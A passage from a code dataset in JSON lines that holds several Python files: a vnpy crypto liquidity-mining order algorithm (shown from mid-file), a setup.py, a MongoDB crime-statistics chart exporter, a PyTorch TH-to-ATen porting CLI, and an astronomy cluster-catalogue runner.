re.compile(r\"^(\\w+)[-:/]?(BTC|ETH|BNB|XRP|USDT|USDC|USDS|TUSD|PAX|DAI)$\")\n market_token_pair = active_vt_symbol.split('.')[0]\n active_market = active_vt_symbol.split('.')[1]\n if not market_token_pair or not active_market:\n self.algo_engine.main_engine.write_log(f\"ERROR: parse active_vt {active_vt_symbol} failed\")\n return False\n\n token_pair_match = SYMBOL_SPLITTER.match(market_token_pair.upper())\n if not token_pair_match:\n self.algo_engine.main_engine.write_log(f\"ERROR: parse symbol {market_token_pair} failed\")\n return False\n\n self.market_vt_tokens = [\n f\"{active_market}.{token_pair_match.group(1)}\",\n f\"{active_market}.{token_pair_match.group(2)}\"\n ]\n self.current_balance = {}\n self._update_current_balance()\n\n def _update_current_balance(self):\n for vt_token in self.market_vt_tokens:\n user_account = self.algo_engine.main_engine.get_account(vt_token)\n if type(user_account) is not AccountData:\n return False\n self.current_balance[vt_token] = user_account.balance\n return True\n\n def on_start(self):\n \"\"\"\"\"\"\n random.seed(time.time())\n self.write_log(f\"开始流动性挖矿: {self.price_offset}, {self.price_offset_max}, {self.volume}, {self.interval}, {self.min_order_level}, {self.min_order_volume}, {self.sell_max_volume}, {self.buy_max_volume}, {self.auto_trade_volume}\")\n self.pricetick = self.algo_engine.main_engine.get_contract(self.vt_symbol).pricetick\n self.volumetick = self.algo_engine.main_engine.get_contract(self.vt_symbol).min_volume\n assert self.pricetick > 0\n\n def on_tick(self, tick: TickData):\n \"\"\"\"\"\"\n self.last_tick = tick\n\n market_price = (tick.ask_price_1 + tick.bid_price_1) / 2\n if self.vt_ask_orderid != \"\":\n self.ask_order_alive_tick += 1\n # if time to kill\n cancel_ask = False\n if self.enable_ioc and self.ask_order_alive_tick > self.ioc_intervel:\n self.write_log(f\"卖单{self.vt_ask_orderid}有效时间{self.ask_order_alive_tick} ticks > {self.ioc_intervel},取消\")\n cancel_ask = True\n if not cancel_ask:\n total_ask_volume = 0\n for num_level in range(1, 6):\n ask_price = getattr(tick, f\"ask_price_{num_level}\")\n if 0 < ask_price < self.last_ask_price:\n total_ask_volume += getattr(tick, f\"ask_volume_{num_level}\")\n # min_ask_price = getattr(tick, f\"ask_price_{self.ask_order_level}\") if self.ask_order_level > 0 else market_price\n # vt_ask_price = round_to(min_ask_price + self.pricetick, self.pricetick)\n vt_ask_price = getattr(tick, f\"ask_price_1\")\n if self.vt_ask_price < vt_ask_price:\n cancel_ask = True\n self.write_log(f\"当前卖单{self.vt_ask_price} 低于最新卖{self.ask_order_level}价 {vt_ask_price},取消\")\n elif self.vt_ask_price > vt_ask_price:\n cancel_ask = True\n self.write_log(f\"当前卖单{self.vt_ask_price} 高于最新卖{self.ask_order_level}价 {vt_ask_price},取消\")\n elif abs(self.total_ask_volume - total_ask_volume) > (self.total_ask_volume / 2):\n cancel_ask = True\n self.write_log(f\"---> 当前卖单{self.vt_ask_price} 取消,因为之前的订单量发生了变化\")\n if cancel_ask:\n self.cancel_order(self.vt_ask_orderid)\n # self.ask_order_alive_tick = 0\n\n if self.vt_bid_orderid != \"\":\n self.bid_order_alive_tick += 1\n # if time to kill\n cancel_bid = False\n if self.enable_ioc and self.bid_order_alive_tick > self.ioc_intervel:\n self.write_log(f\"买单{self.vt_bid_orderid}有效时间{self.bid_order_alive_tick} ticks > {self.ioc_intervel},取消\")\n cancel_bid = True\n if not cancel_bid:\n total_bid_volume = 0\n for num_level in range(1, 6):\n bid_price = getattr(tick, f\"bid_price_{num_level}\")\n if bid_price > self.last_bid_price:\n total_bid_volume += getattr(tick, f\"bid_volume_{num_level}\")\n # max_bid_price = getattr(tick, f\"bid_price_{self.bid_order_level}\") if self.bid_order_level > 0 else market_price\n # vt_bid_price = round_to(max_bid_price - self.pricetick, self.pricetick)\n vt_bid_price = getattr(tick, f\"bid_price_1\")\n if self.vt_bid_price > vt_bid_price:\n cancel_bid = True\n self.write_log(f\"当前买单{self.vt_bid_price} 高于最新买{self.bid_order_level}价 {vt_bid_price},取消\")\n elif self.vt_bid_price < vt_bid_price:\n cancel_bid = True\n self.write_log(f\"当前买单{self.vt_bid_price} 低于最新买{self.bid_order_level}价 {vt_bid_price},取消\")\n elif abs(self.total_bid_volume - total_bid_volume) > (self.total_bid_volume / 2):\n cancel_bid = True\n self.write_log(f\"---> 当前买单{self.vt_bid_price} 取消,因为之前的订单量发生了变化\")\n if cancel_bid:\n self.cancel_order(self.vt_bid_orderid)\n # self.bid_order_alive_tick = 0\n\n def on_timer(self):\n \"\"\"\"\"\"\n if not self.last_tick:\n return\n\n if self.pos < self.min_pos or self.pos > self.max_pos:\n self.cancel_all()\n self.write_log(f\"当前持仓: {self.pos} 超出[{self.min_pos}, {self.max_pos}]范围,停止流动性挖矿\")\n return\n\n self.timer_count += 1\n if self.timer_count < self.interval:\n self.put_variables_event()\n return\n self.timer_count = 0\n self.write_log(f\"当前余额 {self.current_balance}, 持仓 {self.pos}\")\n\n if not self._update_current_balance():\n self.write_log(f\"查询余额失败,上次余额: [{self.current_balance}]\")\n return\n\n use_max_volume = self.max_volume_ratio > 0\n max_volume_ratio = self.max_volume_ratio\n market_price = (self.last_tick.ask_price_1 + self.last_tick.bid_price_1) / 2\n if self.vt_ask_orderid == \"\":\n self.ask_order_level = 0\n for num_level in range(self.min_order_level, 0, -1):\n ask_price = getattr(self.last_tick, f\"ask_price_{num_level}\")\n if 0 < ask_price < market_price * (1 + self.reward_ratio * 0.99):\n self.ask_order_level = num_level\n break\n if self.ask_order_level > 0:\n total_ask_volume = 0\n for num_level in range(1, self.ask_order_level + 1):\n total_ask_volume += getattr(self.last_tick, f\"ask_volume_{num_level}\")\n if total_ask_volume != self.last_ask_volume:\n one_ask_price = getattr(self.last_tick, f\"ask_price_1\")\n one_ask_volume = getattr(self.last_tick, f\"ask_volume_1\")\n min_ask_price = getattr(self.last_tick, f\"ask_price_{self.ask_order_level}\") if self.ask_order_level > 0 else market_price\n vt_ask_price = round_to(min_ask_price + self.pricetick, self.pricetick)\n if self.origin_ask_price == 0.00000002:\n self.origin_ask_price = vt_ask_price\n ask_condition0 = self.last_ask_price == 0.00000002\n ask_condition1 = (self.last_ask_price * (1 - self.price_offset)) < vt_ask_price < (self.last_ask_price * (1 + self.price_offset))\n ask_condition2 = vt_ask_price > (self.origin_ask_price * (1 - self.price_offset_max))\n ask_condition8 = one_ask_price < (self.origin_ask_price * (1 - self.price_offset_max * 2))\n self.write_log(f\"---> 流动性挖矿卖出condition1: {ask_condition1}, condition2: {ask_condition2}\")\n if ask_condition0 or (ask_condition1 and ask_condition2):\n self.last_ask_price = vt_ask_price\n self.vt_ask_price = one_ask_price\n self.total_ask_volume = total_ask_volume\n max_volume = self.current_balance[self.market_vt_tokens[0]] * self.sell_max_ratio\n if 0 < self.sell_max_volume < max_volume:\n max_volume = self.sell_max_volume\n min_volume = self.volume * total_ask_volume\n if self.min_order_volume > 0 and min_volume < self.min_order_volume:\n min_volume = self.min_order_volume\n volume = min_volume if not use_max_volume else max_volume * max_volume_ratio\n if volume >= max_volume:\n volume = max_volume\n self.last_ask_volume = round_to(volume - self.volumetick, self.volumetick)\n self.write_log(f\"流动性挖矿卖出价格: {vt_ask_price}, 量: {self.last_ask_volume}\")\n self.vt_ask_orderid = self.sell(self.vt_symbol, vt_ask_price, self.last_ask_volume)\n self.ask_order_alive_tick = 0\n elif ask_condition8 and one_ask_volume < self.auto_trade_volume:\n self.write_log(f\"---> 流动性挖矿买入低价one_ask_price: {one_ask_price}, one_ask_volume: {one_ask_volume}\")\n self.buy(self.vt_symbol, one_ask_price, one_ask_volume)\n else:\n self.write_log(f\"---> 流动性挖矿卖出下单失败,因为卖单总数量等于上一单数量\")\n else:\n self.write_log(f\"---> 流动性挖矿卖出下单失败,因为没有合适的下单位置\")\n\n if self.vt_bid_orderid == \"\":\n self.bid_order_level = 0\n for num_level in range(self.min_order_level, 0, -1):\n bid_price = getattr(self.last_tick, f\"bid_price_{num_level}\")\n if bid_price > market_price * (1 - self.reward_ratio * 0.99):\n self.bid_order_level = num_level\n break\n if self.bid_order_level > 0:\n total_bid_volume = 0\n for num_level in range(1, self.bid_order_level + 1):\n total_bid_volume += getattr(self.last_tick, f\"bid_volume_{num_level}\")\n if total_bid_volume != self.last_bid_volume:\n one_bid_price = getattr(self.last_tick, f\"bid_price_1\")\n one_bid_volume = getattr(self.last_tick, f\"bid_volume_1\")\n max_bid_price = getattr(self.last_tick, f\"bid_price_{self.bid_order_level}\") if self.bid_order_level > 0 else market_price\n vt_bid_price = round_to(max_bid_price - self.pricetick, self.pricetick)\n if self.origin_bid_price == 0.00000001:\n self.origin_bid_price = vt_bid_price\n bid_condition0 = self.last_bid_price == 0.00000001\n bid_condition1 = (self.last_bid_price * (1 - self.price_offset)) < vt_bid_price < (self.last_bid_price * (1 + self.price_offset))\n bid_condition2 = vt_bid_price < (self.origin_bid_price * (1 + self.price_offset_max))\n bid_condition8 = one_bid_price > (self.origin_bid_price * (1 + self.price_offset_max * 2))\n self.write_log(f\"---> 流动性挖矿买入condition1: {bid_condition1}, condition2: {bid_condition2}\")\n if bid_condition0 or (bid_condition1 and bid_condition2):\n self.last_bid_price = vt_bid_price\n self.vt_bid_price = one_bid_price\n self.total_bid_volume = total_bid_volume\n max_volume = self.current_balance[self.market_vt_tokens[1]] * self.buy_max_ratio / vt_bid_price\n if 0 < self.buy_max_volume < max_volume:\n max_volume = self.buy_max_volume\n min_volume = self.volume * total_bid_volume\n if self.min_order_volume > 0 and min_volume < self.min_order_volume:\n min_volume = self.min_order_volume\n volume = min_volume if not use_max_volume else max_volume * max_volume_ratio\n if volume >= max_volume:\n volume = max_volume\n self.last_bid_volume = round_to(volume - self.volumetick, self.volumetick)\n self.write_log(f\"流动性挖矿买入价格: {vt_bid_price}, 量: {self.last_bid_volume}\")\n self.vt_bid_orderid = self.buy(self.vt_symbol, vt_bid_price, self.last_bid_volume)\n self.bid_order_alive_tick = 0\n elif bid_condition8 and one_bid_volume < self.auto_trade_volume:\n self.write_log(f\"---> 流动性挖矿卖出高价one_bid_price: {one_bid_price}, one_bid_volume: {one_bid_volume}\")\n self.sell(self.vt_symbol, one_bid_price, one_bid_volume)\n else:\n self.write_log(f\"---> 流动性挖矿买入下单失败,因为买单总数量等于上一单数量\")\n else:\n self.write_log(f\"---> 流动性挖矿买入下单失败,因为没有合适的下单位置\")\n self.put_variables_event()\n\n def on_order(self, order: OrderData):\n \"\"\"\"\"\"\n if order.vt_orderid == self.vt_ask_orderid:\n if not order.is_active():\n self.vt_ask_orderid = \"\"\n self.vt_ask_price = 0.0\n elif order.vt_orderid == self.vt_bid_orderid:\n if not order.is_active():\n self.vt_bid_orderid = \"\"\n self.vt_bid_price = 0.0\n self.put_variables_event()\n\n def on_trade(self, trade: TradeData):\n \"\"\"\"\"\"\n if trade.direction == Direction.SHORT:\n self.write_log(f\"流动性挖矿卖单{trade.vt_orderid}成交,价:{trade.price}, 量:{trade.volume}\")\n self.pos -= trade.volume\n elif trade.direction == Direction.LONG:\n self.write_log(f\"流动性挖矿买单{trade.vt_orderid}成交,价:{trade.price}, 量:{trade.volume}\")\n self.pos += trade.volume\n\n self.put_variables_event()\n\n def on_stop(self):\n \"\"\"\"\"\"\n self.write_log(\"停止 流动性挖矿\")\n # self.write_log(f\"账户状态:{self.algo_engine.main_engine.get_all_accounts()}\")\n time.sleep(5)\n","sub_path":"vnpy/app/algo_trading/algos/liquid_mining_algo.py","file_name":"liquid_mining_algo.py","file_ext":"py","file_size_in_byte":18409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"77570165","text":"#!/usr/bin/env\n\ntry:\n\tfrom setuptools import setup\nexcept ImportError:\n\tfrom distutils.core import setup\n\nconfig = {\n\t\"description\": \"asks a question, prints the input. simples!\",\n\t\"author\": \"David\",\n\t\"url\": \"none\",\n\t\"download_url\": \"none\",\n\t\"author email\": \"dmt257257@gmail.com\",\n\t\"version\": \"0.1\",\n \"long_description\" : read(\"README\"),\n\t\"install_requires\": [\"nose\"],\n\t\"packages\": [\"usethis_main\", \"tests\"],\n\t\"scripts\": [\"/bin/ask_script\"],\n\t\"name\": \"usethis\"\n}\n\nsetup(**config)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"354173464","text":"# -*- coding: utf-8 -*-\n# CREATED ON DATE: 17.11.14\n__author__ = 'vojtek.nowak@gmail.com'\n\nimport json\nfrom pymongo import MongoClient\n\nclient = MongoClient()\ndb = client.test\n\n\ndef to_highcharts(cursor, json_name):\n out_json = {\n 'chart': {\n 'type': 'bar'\n },\n 'title': {\n 'text': 'Crime analysis'\n },\n 'subtitle': {\n 'text': 'Source: http://data.police.uk/data/'\n },\n 'xAxis': {\n 'categories': [data.get('_id') for data in cursor],\n 'title': {\n 'text': None\n }\n },\n 'yAxis': {\n 'min': 0,\n 'title': {\n 'text': '',\n 'align': 'high'\n },\n 'labels': {\n 'overflow': 'justify'\n }\n },\n 'tooltip': {\n 'valueSuffix': ' '\n },\n 'plotOptions': {\n 'bar': {\n 'dataLabels': {\n 'enabled': True\n }\n }\n },\n 'legend': {\n 'layout': 'vertical',\n 'align': 'right',\n 'verticalAlign': 'top',\n 'x': -40,\n 'y': 100,\n 'floating': True,\n 'borderWidth': 1,\n 'backgroundColor': '#FFFFFF',\n 'shadow': True\n },\n 'credits': {\n 'enabled': False\n },\n 'series': [{\n 'name': 'Data',\n 'data': [data.get('count') for data in cursor]\n },\n ]\n }\n\n with open(json_name, 'w') as out_file:\n json.dump(out_json, out_file)\n\n# ilość zakończeń przestępstwa w danym typie.\nto_highcharts(\n cursor=db.crime.aggregate(\n [\n {\n '$group': {'_id': \"$Outcome type\", 'count': {'$sum': 1}}\n },\n {\n '$sort': {'count': -1}\n }\n ])['result'],\n json_name='aggregation1.json')","sub_path":"crime/aggregation1.py","file_name":"aggregation1.py","file_ext":"py","file_size_in_byte":2001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"253714154","text":"#!/usr/bin/env python\nimport json\nimport os\n\nimport click\n\nfrom pytorch_tool_th2at.nn_th2at4cpu import NN_TH2AT_CPU\nfrom pytorch_tool_th2at.nn_th2at4gpu import NN_TH2AT_CUDA\n\n\n@click.command()\n@click.option(\n '--th_file',\n '-f',\n multiple=True,\n required=True,\n help='TH file that will be ported'\n)\n@click.option(\n '--output_path',\n '-o',\n required=True,\n help='Output path for the new ATen files'\n)\n@click.option(\n '--pytorch_path',\n '-p',\n required=True,\n help='PyTorch path'\n)\n@click.option(\n '--cpu',\n is_flag=True,\n default=False,\n show_default=True,\n help='Run porting for CPU'\n)\n@click.option(\n '--gpu',\n is_flag=True,\n default=False,\n show_default=True,\n help='Run porting for CUDA'\n)\n@click.option(\n '--file_extra_rules',\n '-r',\n default=None, \n help='The path of the file that add extra rules'\n)\ndef run(\n th_file,\n output_path,\n pytorch_path,\n cpu,\n gpu,\n file_extra_rules\n):\n \"\"\"Run TH to ATen porting.\n\n For each file you want to port use the parameter `-f` or `--th_file`.\n \n If you want to pass more extra rules use the parameter `-r`_or `--file_extra_rules`.\n \n Example of file with extra rules (json format):\n \n \\b\n {\n \"#include \": \"#include \",\n \"kH\": \"kernel_height\",\n \"kW\": \"kernel_width\",\n \"padH\": \"pad_height\",\n \"padW\": \"pad_width\",\n \"sH\": \"stride_height\",\n \"sW\": \"stride_width\",\n \"nBlocksH\": \"n_blocks_height\",\n \"nBlocksW\": \"n_blocks_width\",\n \"shapeCheck\": \"shape_check\"\n }\n\n Example of how to use this command:\n\n \\b\n ./th2at.py --cpu \\\\\n -f VolumetricFullDilatedConvolution.c \\\\\n -o ~/tmp/pytorch \\\\\n -p $PYTORCH_SRC_PATH \\\\ \n -r ~/tmp/th2at.json\n \n \"\"\"\n if cpu == gpu:\n raise Exception(\n 'Specify just CPU or GPU, not both or none of them.'\n )\n \n rules_extra = []\n \n if not os.path.isdir(pytorch_path):\n raise Exception(\n 'The path specified for `pytorch_path` doesn\\'t exist.'\n )\n \n if file_extra_rules:\n if not os.path.isfile(file_extra_rules):\n raise Exception(\n 'The file specified for `file_extra_rules` doesn\\'t exist.'\n )\n with open(file_extra_rules, 'r') as f:\n rules_extra = list(json.load(f).items()) \n \n kwargs = {\n 'output_path': output_path, \n 'pytorch_path': pytorch_path,\n 'th_files': list(th_file),\n 'rules_extra': rules_extra,\n 'rules_name_extra': [] # not implemented yet\n }\n\n if cpu:\n print('[II] CPU mode recognized')\n th2at = NN_TH2AT_CPU(**kwargs)\n else:\n print('[II] GPU mode recognized')\n th2at = NN_TH2AT_CUDA(**kwargs)\n th2at.store_files()\n\n\nif __name__ == '__main__':\n run()\n","sub_path":"th2at/th2at.py","file_name":"th2at.py","file_ext":"py","file_size_in_byte":2906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"634125425","text":"from __future__ import division, absolute_import, print_function\nfrom past.builtins import xrange\n\nimport fitsio\nimport numpy as np\nimport esutil\nfrom esutil.cosmology import Cosmo\n\nfrom .configuration import Configuration\nfrom .cluster import ClusterCatalog\nfrom .background import Background\nfrom .mask import get_mask\nfrom .galaxy import GalaxyCatalog\nfrom .catalog import Catalog\nfrom .cluster import Cluster\nfrom .cluster import ClusterCatalog\nfrom .depthmap import DepthMap\nfrom .zlambda import Zlambda\nfrom .zlambda import ZlambdaCorrectionPar\nfrom .redsequence import RedSequenceColorPar\n\n###################################################\n# Order of operations:\n# __init__()\n# _additional_initialization() [override this]\n# run()\n# _setup()\n# _more_setup() [override this]\n# _process_cluster() [override this]\n# _postprocess() [override this]\n# output()\n###################################################\n\nclass ClusterRunner(object):\n \"\"\"\n \"\"\"\n\n def __init__(self, conf, **kwargs):\n if not isinstance(conf, Configuration):\n # this needs to be read\n self.config = Configuration(conf)\n else:\n self.config = conf\n\n # Generic defaults\n self.read_zreds = False\n self.zreds_required = False\n self.use_colorbkg = False\n self.use_parfile = True\n\n # Will want to add stuff to check that everything needed is present?\n\n self._additional_initialization(**kwargs)\n\n def _additional_initialization(self, **kwargs):\n \"\"\"\n \"\"\"\n\n # must be overridden\n self.runmode = None\n self.filetype = None\n\n def _setup(self):\n \"\"\"\n \"\"\"\n self.r0 = self.config.__getattribute__(self.runmode + '_r0')\n self.beta = self.config.__getattribute__(self.runmode + '_beta')\n\n # This always uses the \"percolation\" settings, maybe?\n self.rmask_0 = self.config.percolation_rmask_0\n self.rmask_beta = self.config.percolation_rmask_beta\n self.rmask_gamma = self.config.percolation_rmask_gamma\n self.rmask_zpivot = self.config.percolation_rmask_zpivot\n\n if self.config.percolation_lmask < 0.0:\n self.percolation_lmask = self.config.lval_reference\n else:\n self.percolation_lmask = self.config.percolation_lmask\n\n # maxrad is the maximum dist to match neighbors. maxrad2 is for masking\n # (note this was \"maxdist\" in IDL which was a bad name)\n if self.beta == 0.0:\n # add a small cushion even if we have constant radius\n self.maxrad = 1.2 * self.r0\n self.maxrad2 = 1.2 * self.rmask_0\n else:\n # maximum possible richness is 300\n self.maxrad = self.r0 * (300./100.)**self.beta\n self.maxrad2 = self.rmask_0 * (300./100.)**self.rmask_beta\n\n if self.maxrad2 > self.maxrad:\n self.maxrad = self.maxrad2\n\n # read in background\n if self.use_colorbkg:\n self.cbkg = ColorBackground(self.config.bkgfile_color)\n self.bkg = None\n else:\n self.bkg = Background(self.config.bkgfile)\n self.cbkg = None\n\n # read in parameters\n if self.use_parfile:\n self.zredstr = RedSequenceColorPar(self.config.parfile, fine=True)\n else:\n self.zredstr = RedSequenceColorPar(None, config=self.config)\n\n # And correction parameters\n try:\n self.zlambda_corr = ZlambdaCorrectionPar(self.config.zlambdafile,\n self.config.zlambda_pivot)\n except:\n self.zlambda_corr = None\n\n # read in mask (if available)\n # This will read in the mask and generate maskgals if necessary\n # Will work with any type of mask\n self.mask = get_mask(self.config)\n\n # read in the depth structure\n try:\n self.depthstr = DepthMap(self.config)\n except:\n self.depthstr = None\n\n #self.cosmo = Cosmo()\n self.cosmo = self.config.cosmo\n\n # read in the galaxies\n # WILL NEED TO TRACK IF READING ZREDS\n # Use self.read_zreds to know if we should read them!\n # And self.zreds_required to know if we *must* read them\n\n self.gals = GalaxyCatalog.from_galfile(self.config.galfile,\n nside=self.config.nside,\n hpix=self.config.hpix,\n border=self.config.border)\n\n # default limiting luminosity\n self.limlum = np.clip(self.config.lval_reference - 0.1, 0.01, None)\n\n # Defaults for whether to implement masking, etc\n self.do_percolation_masking = False\n self.do_lam_plusminus = False\n self.use_memradius = False\n self.use_memlum = False\n self.match_centers_to_galaxies = False\n self.min_lambda = -1.0\n self.record_members = False\n self.doublerun = False\n\n def _more_setup(self, *args, **kwargs):\n # This is to be overridden if necessary\n # this can receive all the keywords.\n\n # THIS NEEDS TO SET MEM_MATCH_ID!!!\n # make a common convenience function ... hey!\n\n pass\n\n def _generate_mem_match_ids(self):\n min_id = self.cat.mem_match_id.min()\n max_id = self.cat.mem_match_id.max()\n\n if (min_id == max_id):\n # These are unset: generate them\n self.cat.mem_match_id = np.arange(self.cat.size) + 1\n else:\n # Make sure they are unique\n if np.unique(self.cat.mem_match_id).size != self.cat.size:\n raise RuntimeError(\"Input values for mem_match_id are not unique (and not all unset)\")\n\n def _reset_bad_values(self, cluster):\n cluster.Lambda = -1.0\n cluster.Lambda_e = -1.0\n cluster.scaleval = -1.0\n cluster.z_lambda = -1.0\n cluster.z_lambda_e = -1.0\n\n def _process_cluster(self, cluster):\n # This must be overridden\n raise RuntimeError(\"_process_cluster must have an override\")\n\n def run(self, *args, **kwargs):\n \"\"\"\n \"\"\"\n\n # General setup\n self._setup()\n\n # Setup specific for a given task. Will read in the galaxy catalog.\n self._more_setup(*args, **kwargs)\n\n # Match centers and galaxies if required\n if self.match_centers_to_galaxies:\n i0, i1, dist = self.gals.match_many(self.cat.ra, self.cat.dec, 1./3600.)\n self.cat.refmag[i0] = self.gals.refmag[i1]\n self.cat.refmag_err[i0] = self.gals.refmag_err[i1]\n self.cat.mag[i0, :] = self.gals.mag[i1, :]\n self.cat.mag_err[i0, :] = self.gals.mag[i1, :]\n # do zred stuff when in...\n\n # loop over clusters...\n # at the moment, we are doing the matching once per cluster.\n # if this proves too slow we can prematch bulk clusters as in the IDL code\n\n if self.do_percolation_masking:\n self.pgal = np.zeros(self.gals.size, dtype=np.float32)\n\n self.members = None\n\n if self.doublerun:\n nruniter = 2\n else:\n nruniter = 1\n\n for it in xrange(nruniter):\n\n if self.doublerun:\n # This mode allows two passes, with a sort in between.\n if it == 0:\n print(\"First iteration...\")\n self.do_percolation_masking = False\n else:\n print(\"Second iteration with percolation...\")\n self._doublerun_sort()\n self.do_percolation_masking = True\n self.record_members = True\n\n for cluster in self.cat:\n # Note that the cluster is set with .z if available! (which becomes ._z)\n\n maxmag = cluster.mstar - 2.5*np.log10(self.limlum)\n cluster.find_neighbors(self.maxrad, self.gals, megaparsec=True, maxmag=maxmag)\n\n if cluster.neighbors.size == 0:\n self._reset_bad_values(cluster)\n continue\n\n if self.do_percolation_masking:\n cluster.neighbors.pfree[:] = 1.0 - self.pgal[cluster.neighbors.index]\n else:\n cluster.neighbors.pfree[:] = 1.0\n\n # FIXME: add mean ebv computation here.\n\n if self.depthstr is None:\n # must approximate the limiting magnitude\n # will get this from my des_depth functions...\n raise RuntimeError(\"No depthstr Must be implemented!!!!\")\n else:\n # get from the depth structure\n self.depthstr.calc_maskdepth(self.mask.maskgals,\n cluster.ra, cluster.dec, cluster.mpc_scale)\n\n cluster.lim_exptime = np.median(self.mask.maskgals.exptime)\n cluster.lim_limmag = np.median(self.mask.maskgals.limmag)\n cluster.lim_limmag_hard = self.config.limmag_catalog\n\n # And survey masking (this may be a dummy)\n self.mask.set_radmask(cluster)\n\n # And compute maskfrac here...approximate first computation\n inside, = np.where(self.mask.maskgals.r < 1.0)\n bad, = np.where(self.mask.maskgals.mark[inside] == 0)\n cluster.maskfrac = float(bad.size) / float(inside.size)\n\n # Note that _process_cluster has the index part maybe?\n bad_cluster = self._process_cluster(cluster)\n\n if bad_cluster:\n # This is a bad cluster and we can't continue\n continue\n\n # compute updated maskfrac (always)\n inside, = np.where(self.mask.maskgals.r < cluster.r_lambda)\n bad, = np.where(self.mask.maskgals.mark[inside] == 0)\n cluster.maskfrac = float(bad.size) / float(inside.size)\n\n # compute additional dlambda bits (if desired)\n if self.do_lam_plusminus:\n cluster_temp = cluster.copy()\n\n #cluster_temp.z = cluster.z_lambda - self.config.zlambda_epsilon\n #cluster_temp.update_z(cluster.z_lambda - self.config.zlambda_epsilon)\n cluster_temp.redshift = cluster.z_lambda - self.config.zlambda_epsilon\n lam_zmeps = cluster_temp.calc_richness(self.mask)\n elambda_zmeps = cluster_temp.lambda_e\n #cluster_temp.z = cluster.z_lambda + self.config.zlambda_epsilon\n #cluster_temp.update_z(cluster.z_lambda + self.config.zlambda_epsilon)\n cluster_temp.redshift = cluster.z_lambda + self.config.zlambda_epsilon\n lam_zpeps = cluster_temp.calc_richness(self.mask)\n elambda_zpeps = cluster_temp.lambda_e\n\n cluster.dlambda_dz = (np.log(lam_zpeps) - np.log(lam_zmeps)) / (2. * self.config.zlambda_epsilon)\n cluster.dlambda_dz2 = (np.log(lam_zpeps) + np.log(lam_zmeps) - 2.*np.log(cluster.Lambda)) / (self.config.zlambda_epsilon**2.)\n\n cluster.dlambdavar_dz = (elambda_zpeps**2. - elambda_zmeps**2.) / (2.*self.config.zlambda_epsilon)\n cluster.dlambdavar_dz2 = (elambda_zpeps**2. + elambda_zmeps**2. - 2.*cluster.Lambda_e**2.) / (self.config.zlambda_epsilon**2.)\n\n # and record pfree if desired\n if self.do_percolation_masking:\n # FIXME\n r_mask = (self.rmask_0 * (cluster.Lambda/100.)**self.rmask_beta *\n ((1. + cluster.redshift)/(1. + self.rmask_zpivot))**self.rmask_gamma)\n if (r_mask < cluster.r_lambda):\n r_mask = cluster.r_lambda\n cluster.r_mask = r_mask\n\n lim = cluster.mstar - 2.5*np.log10(self.percolation_lmask)\n\n u, = np.where((cluster.neighbors.refmag < lim) &\n (cluster.neighbors.r < r_mask) &\n (cluster.neighbors.p > 0.0))\n if (u.size > 0):\n self.pgal[cluster.neighbors.index[u]] += cluster.neighbors.p[u]\n\n # and save members\n # Note that this is probably horribly inefficient for memory\n # usage right now, but will start here and fix later if it\n # is a problem.\n\n pfree_temp = cluster.neighbors.pfree[:]\n\n if self.use_memradius or self.use_memlum:\n ok = (cluster.neighbors.p > 0.01)\n\n if self.use_memradius:\n ok &= (cluster.neighbors.r < self.config.percolation_memradius * cluster.r_lambda)\n if self.use_memlum:\n ok &= (cluster.neighbors.refmag < (cluster.mstar - 2.5*np.log10(self.config.percolation_memlum)))\n\n # And set pfree_temp to zero when it is not okay\n pfree_temp[~ok] = 0.0\n else:\n # Only save members where pmem > 0.01 (for space)\n ok = (cluster.neighbors.pmem > 0.01)\n pfree_temp[~ok] = 0.0\n\n if self.record_members:\n memuse, = np.where(pfree_temp > 0.01)\n mem_temp = Catalog.zeros(memuse.size, dtype=self.config.member_dtype)\n\n mem_temp.mem_match_id[:] = cluster.mem_match_id\n mem_temp.z[:] = cluster.z_lambda\n mem_temp.ra[:] = cluster.neighbors.ra[memuse]\n mem_temp.dec[:] = cluster.neighbors.dec[memuse]\n mem_temp.r[:] = cluster.neighbors.r[memuse]\n mem_temp.p[:] = cluster.neighbors.p[memuse]\n mem_temp.pfree[:] = pfree_temp[memuse]\n mem_temp.theta_i[:] = cluster.neighbors.theta_i[memuse]\n mem_temp.theta_r[:] = cluster.neighbors.theta_r[memuse]\n mem_temp.refmag[:] = cluster.neighbors.refmag[memuse]\n mem_temp.refmag_err[:] = cluster.neighbors.refmag_err[memuse]\n # mem_temp.zred[:] = cluster.neighbors.zred[memuse]\n # mem_temp.zred_e[:] = cluster.neighbors.zred_e[memuse]\n mem_temp.chisq[:] = cluster.neighbors.chisq[memuse]\n mem_temp.ebv[:] = cluster.neighbors.ebv[memuse]\n mem_temp.mag[:, :] = cluster.neighbors.mag[memuse, :]\n mem_temp.mag_err[:, :] = cluster.neighbors.mag_err[memuse, :]\n\n # Worried this is going to be slow...\n if self.members is None:\n self.members = mem_temp\n else:\n self.members.append(mem_temp)\n\n\n self._postprocess()\n\n def _postprocess(self):\n # default post-processing...\n\n use, = np.where(self.cat.Lambda >= self.min_lambda)\n self.cat = self.cat[use]\n\n # And crop down members?\n # FIXME\n\n def output(self, savemembers=True, withversion=True, clobber=False):\n \"\"\"\n \"\"\"\n\n # Try with a universal method.\n # It will save the underlying _ndarrays of the Cluster and\n # (optionally) Member catalogs.\n\n fname_base = self.config.outbase\n\n if withversion:\n fname_base += '_redmapper_' + self.config.version\n\n fname_base += '_' + self.filetype\n\n fitsio.write(fname_base + '.fit', self.cat._ndarray, clobber=clobber)\n\n if savemembers:\n fitsio.write(fname_base + '_members.fit', self.members._ndarray, clobber=clobber)\n","sub_path":"redmapper/cluster_runner.py","file_name":"cluster_runner.py","file_ext":"py","file_size_in_byte":15893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
